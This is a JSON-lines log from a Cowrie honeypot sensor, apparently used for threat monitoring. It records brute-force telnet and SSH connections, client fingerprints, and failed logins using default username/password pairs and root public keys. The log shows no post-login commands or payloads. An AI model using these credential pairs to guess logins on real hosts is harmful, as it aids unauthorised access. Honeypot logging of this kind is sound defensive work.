{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36006,"dst_ip":"10.17.0.5","dst_port":23,"session":"38ba87d412f1","protocol":"telnet","message":"New connection: 152.42.224.71:36006 (10.17.0.5:23) [session: 38ba87d412f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:39.047100Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36016,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ddf8d49ea8b","protocol":"telnet","message":"New connection: 152.42.224.71:36016 (10.17.0.5:23) [session: 3ddf8d49ea8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:40.198258Z"}
{"eventid":"cowrie.session.closed","duration":42.63655710220337,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:41.202153Z","src_ip":"152.42.224.71","session":"4db5162720c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47842,"dst_ip":"159.203.135.109","dst_port":22,"session":"4114cf46412f","protocol":"ssh","message":"New connection: 31.40.204.166:47842 (159.203.135.109:22) [session: 4114cf46412f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:41.482739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:41.519416Z","src_ip":"31.40.204.166","session":"4114cf46412f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:41.615325Z","src_ip":"31.40.204.166","session":"4114cf46412f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36022,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c4e8f70ccc3","protocol":"telnet","message":"New connection: 152.42.224.71:36022 (10.17.0.5:23) [session: 5c4e8f70ccc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:41.672711Z"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:42.287282Z","src_ip":"31.40.204.166","session":"4114cf46412f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:43.421259Z","src_ip":"31.40.204.166","session":"4114cf46412f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":86.84687495231628,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:44.409071Z","src_ip":"152.42.224.71","session":"51b7dae0f2ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36030,"dst_ip":"10.17.0.5","dst_port":23,"session":"2afbe110cc9d","protocol":"telnet","message":"New connection: 152.42.224.71:36030 (10.17.0.5:23) [session: 2afbe110cc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:46.538273Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58034,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff58b74d739c","protocol":"telnet","message":"New connection: 152.42.224.71:58034 (10.17.0.5:23) [session: ff58b74d739c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:49.585992Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58050,"dst_ip":"10.17.0.5","dst_port":23,"session":"5150501fb698","protocol":"telnet","message":"New connection: 152.42.224.71:58050 (10.17.0.5:23) [session: 5150501fb698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:50.705946Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48714,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b424797468f","protocol":"ssh","message":"New connection: 31.40.204.166:48714 (159.203.135.109:22) [session: 9b424797468f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.183753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.193985Z","src_ip":"31.40.204.166","session":"9b424797468f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.23.226","src_port":54226,"dst_ip":"10.17.0.5","dst_port":22,"session":"a32925e4b36d","protocol":"ssh","message":"New connection: 23.94.23.226:54226 (10.17.0.5:22) [session: a32925e4b36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.253159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.257931Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.313240Z","src_ip":"31.40.204.166","session":"9b424797468f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.331611Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58058,"dst_ip":"10.17.0.5","dst_port":23,"session":"065d5be40378","protocol":"telnet","message":"New connection: 152.42.224.71:58058 (10.17.0.5:23) [session: 065d5be40378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.476681Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:04:20:70:69:92:b6:0a:cd:fd:39:20:26:13:8b:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7xCPtL2xmGl2SyLp0UDRI4hMbZ3e46VPvQXoJSWUJloLIhQa8ZVf4ZkABDMhmuAYuaRDGh2I5LRxhVBDrKUosEQmMDJpoPtjIE2H9+gA4OgXPcEqRr9dv8Q2LG8kmNc7rvA0kfTqm9cETW3e930P+XpbzE4Vg5nmaelyjcIJf1ebkjl5x4MfPP8i1jq05lq4zigJvvwuEZ6HOlfsl9OdcCruUTi1B0IvhhirbsOI3l+LKONicdRqIaZn16HiShGPyWt3oN8TF3W65jn53maYtjOFdI4sjv0MS1BncG+RHcg+ReMYQ4P7FsNexzEY2gLFKBE5HJUrP0hZQpW+1DuzV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:04:20:70:69:92:b6:0a:cd:fd:39:20:26:13:8b:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.671301Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:04:20:70:69:92:b6:0a:cd:fd:39:20:26:13:8b:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7xCPtL2xmGl2SyLp0UDRI4hMbZ3e46VPvQXoJSWUJloLIhQa8ZVf4ZkABDMhmuAYuaRDGh2I5LRxhVBDrKUosEQmMDJpoPtjIE2H9+gA4OgXPcEqRr9dv8Q2LG8kmNc7rvA0kfTqm9cETW3e930P+XpbzE4Vg5nmaelyjcIJf1ebkjl5x4MfPP8i1jq05lq4zigJvvwuEZ6HOlfsl9OdcCruUTi1B0IvhhirbsOI3l+LKONicdRqIaZn16HiShGPyWt3oN8TF3W65jn53maYtjOFdI4sjv0MS1BncG+RHcg+ReMYQ4P7FsNexzEY2gLFKBE5HJUrP0hZQpW+1DuzV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.675237Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:99:79:e3:6b:7c:2e:11:6b:88:06:4b:06:c6:05:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbP15kA+50nvqfoh18+FyHf0QJZwASQTKh7wfQWvslVA2851mKvmFfOxIhyu/7WFCspdzdM5PFPgfh+WQ77uxl4MNjMcbtyYtf9VjH2vbLxPzFXXQ6teQYu/5OHHnS8hrld1vqCxPnJ4qQ9xk4upT0QMtiDs2tucP0iUz2BAUyBD0o2RbGrt73lU+jxj9yFFT5Zr87FcFpIGgvnY4ljIgkRDZ9zjxFyo1+NXLI7EPtpFwPl8YRRd2iqG5CLnFVgsaDSZBczs65ciRyZF7MN7X+MLq0IrxNN02JEPBs5SmzfNuv1UPqguhM/ApitbBexVIkJCo0pextR2j88+E746qz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:99:79:e3:6b:7c:2e:11:6b:88:06:4b:06:c6:05:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.750959Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:99:79:e3:6b:7c:2e:11:6b:88:06:4b:06:c6:05:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbP15kA+50nvqfoh18+FyHf0QJZwASQTKh7wfQWvslVA2851mKvmFfOxIhyu/7WFCspdzdM5PFPgfh+WQ77uxl4MNjMcbtyYtf9VjH2vbLxPzFXXQ6teQYu/5OHHnS8hrld1vqCxPnJ4qQ9xk4upT0QMtiDs2tucP0iUz2BAUyBD0o2RbGrt73lU+jxj9yFFT5Zr87FcFpIGgvnY4ljIgkRDZ9zjxFyo1+NXLI7EPtpFwPl8YRRd2iqG5CLnFVgsaDSZBczs65ciRyZF7MN7X+MLq0IrxNN02JEPBs5SmzfNuv1UPqguhM/ApitbBexVIkJCo0pextR2j88+E746qz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.754592Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:17:ca:cf:88:39:5d:a1:d7:cc:bb:3b:10:f8:93:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2LXqn3kzsvSBNoahnMKiaV4AV2VSjdxAB7odrPlug5t/n6Tvpq0oyYchqmEpngj6/k+ObKvi7gFPmGvpiE4y1dMBq4s8k2qznZHjRoYhmeocMvFGm7v3w4X++wjmRlNks/0SFyrTGbgNbPOuQ+uFQgYIhGP4eawHlKAuZTiE6bc75bnViyqSoVaourNDiZN5cyHHLDYLrn7aP4NV2ivQaisF3jIxRN0xqlLwO4gBjSerA8lwKf+JD23eit1OSHHnNc+kpASij8x8iddOa/3cEVvIb61XOEOY8lcRqWkeS5Ox0NcwbaNyO/B6oZr1XUzRsp/J5VBHiS7H3VCxVqOJKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:17:ca:cf:88:39:5d:a1:d7:cc:bb:3b:10:f8:93:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.832052Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:17:ca:cf:88:39:5d:a1:d7:cc:bb:3b:10:f8:93:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2LXqn3kzsvSBNoahnMKiaV4AV2VSjdxAB7odrPlug5t/n6Tvpq0oyYchqmEpngj6/k+ObKvi7gFPmGvpiE4y1dMBq4s8k2qznZHjRoYhmeocMvFGm7v3w4X++wjmRlNks/0SFyrTGbgNbPOuQ+uFQgYIhGP4eawHlKAuZTiE6bc75bnViyqSoVaourNDiZN5cyHHLDYLrn7aP4NV2ivQaisF3jIxRN0xqlLwO4gBjSerA8lwKf+JD23eit1OSHHnNc+kpASij8x8iddOa/3cEVvIb61XOEOY8lcRqWkeS5Ox0NcwbaNyO/B6oZr1XUzRsp/J5VBHiS7H3VCxVqOJKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.835992Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:fc:8c:02:57:fe:af:f8:f3:f9:57:79:b8:32:d8:34","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHVvXmvNu9nxZs7rAKY4TbiRqh9mwUH26cYS7RB5VHng","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a3:fc:8c:02:57:fe:af:f8:f3:f9:57:79:b8:32:d8:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.909416Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:fc:8c:02:57:fe:af:f8:f3:f9:57:79:b8:32:d8:34","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHVvXmvNu9nxZs7rAKY4TbiRqh9mwUH26cYS7RB5VHng","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.913357Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.919480Z","src_ip":"31.40.204.166","session":"9b424797468f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:57:04:52:2a:b5:fc:cf:7b:2d:06:06:6a:d3:2f:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvqRylSdqh1ZpZ1FonGNWoY1zgxRVlu8NS4tS9JtoFJJS6ZCTkq1HdJoL1kFahFjcMATAhWJ2k5KDZLiZXUJIkS51RNMFGh0rKLeQhHq1JgzasBxgbxn5APD+p8BGKTimS4LHNslPYeVo0J5wQVtVYfzK5Ez54z0R9rpxJetoN/Z0e6yGLXlHp0Exm/CkbcYPmm7fPe/BgMcnC61H41jwhI1WeAlUd+BTWAmo7DmtwGyYePmboPHaICQ8iJ19X481sDBe6T8JGe4SEZ+4Iay06EA1QrFD6ZJgavp6F/YFy8f5O6QL15KxWh/+kn6GFq8XrTjOjnPWNq+JJtGc0ccfBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:57:04:52:2a:b5:fc:cf:7b:2d:06:06:6a:d3:2f:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.986269Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:57:04:52:2a:b5:fc:cf:7b:2d:06:06:6a:d3:2f:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvqRylSdqh1ZpZ1FonGNWoY1zgxRVlu8NS4tS9JtoFJJS6ZCTkq1HdJoL1kFahFjcMATAhWJ2k5KDZLiZXUJIkS51RNMFGh0rKLeQhHq1JgzasBxgbxn5APD+p8BGKTimS4LHNslPYeVo0J5wQVtVYfzK5Ez54z0R9rpxJetoN/Z0e6yGLXlHp0Exm/CkbcYPmm7fPe/BgMcnC61H41jwhI1WeAlUd+BTWAmo7DmtwGyYePmboPHaICQ8iJ19X481sDBe6T8JGe4SEZ+4Iay06EA1QrFD6ZJgavp6F/YFy8f5O6QL15KxWh/+kn6GFq8XrTjOjnPWNq+JJtGc0ccfBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:53.990883Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:54.064111Z","src_ip":"23.94.23.226","session":"a32925e4b36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:55.090342Z","src_ip":"31.40.204.166","session":"9b424797468f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.442912101745605,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:55.290519Z","src_ip":"152.42.224.71","session":"34f86b0e9f61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.858728647232056,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:57.446093Z","src_ip":"152.42.224.71","session":"56cf55f33735","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":86.94694304466248,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:57.492859Z","src_ip":"152.42.224.71","session":"78df89dff103","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44488,"dst_ip":"10.17.0.5","dst_port":23,"session":"c48bbdfdc381","protocol":"telnet","message":"New connection: 152.42.224.71:44488 (10.17.0.5:23) [session: c48bbdfdc381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:57.800811Z"}
{"eventid":"cowrie.session.closed","duration":30.422011375427246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:05.075004Z","src_ip":"152.42.224.71","session":"259615467a66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45240,"dst_ip":"159.203.135.109","dst_port":22,"session":"514f0e91aab6","protocol":"ssh","message":"New connection: 31.40.204.166:45240 (159.203.135.109:22) [session: 514f0e91aab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:05.535115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:05.540027Z","src_ip":"31.40.204.166","session":"514f0e91aab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:05.689374Z","src_ip":"31.40.204.166","session":"514f0e91aab6","protocol":"ssh"}
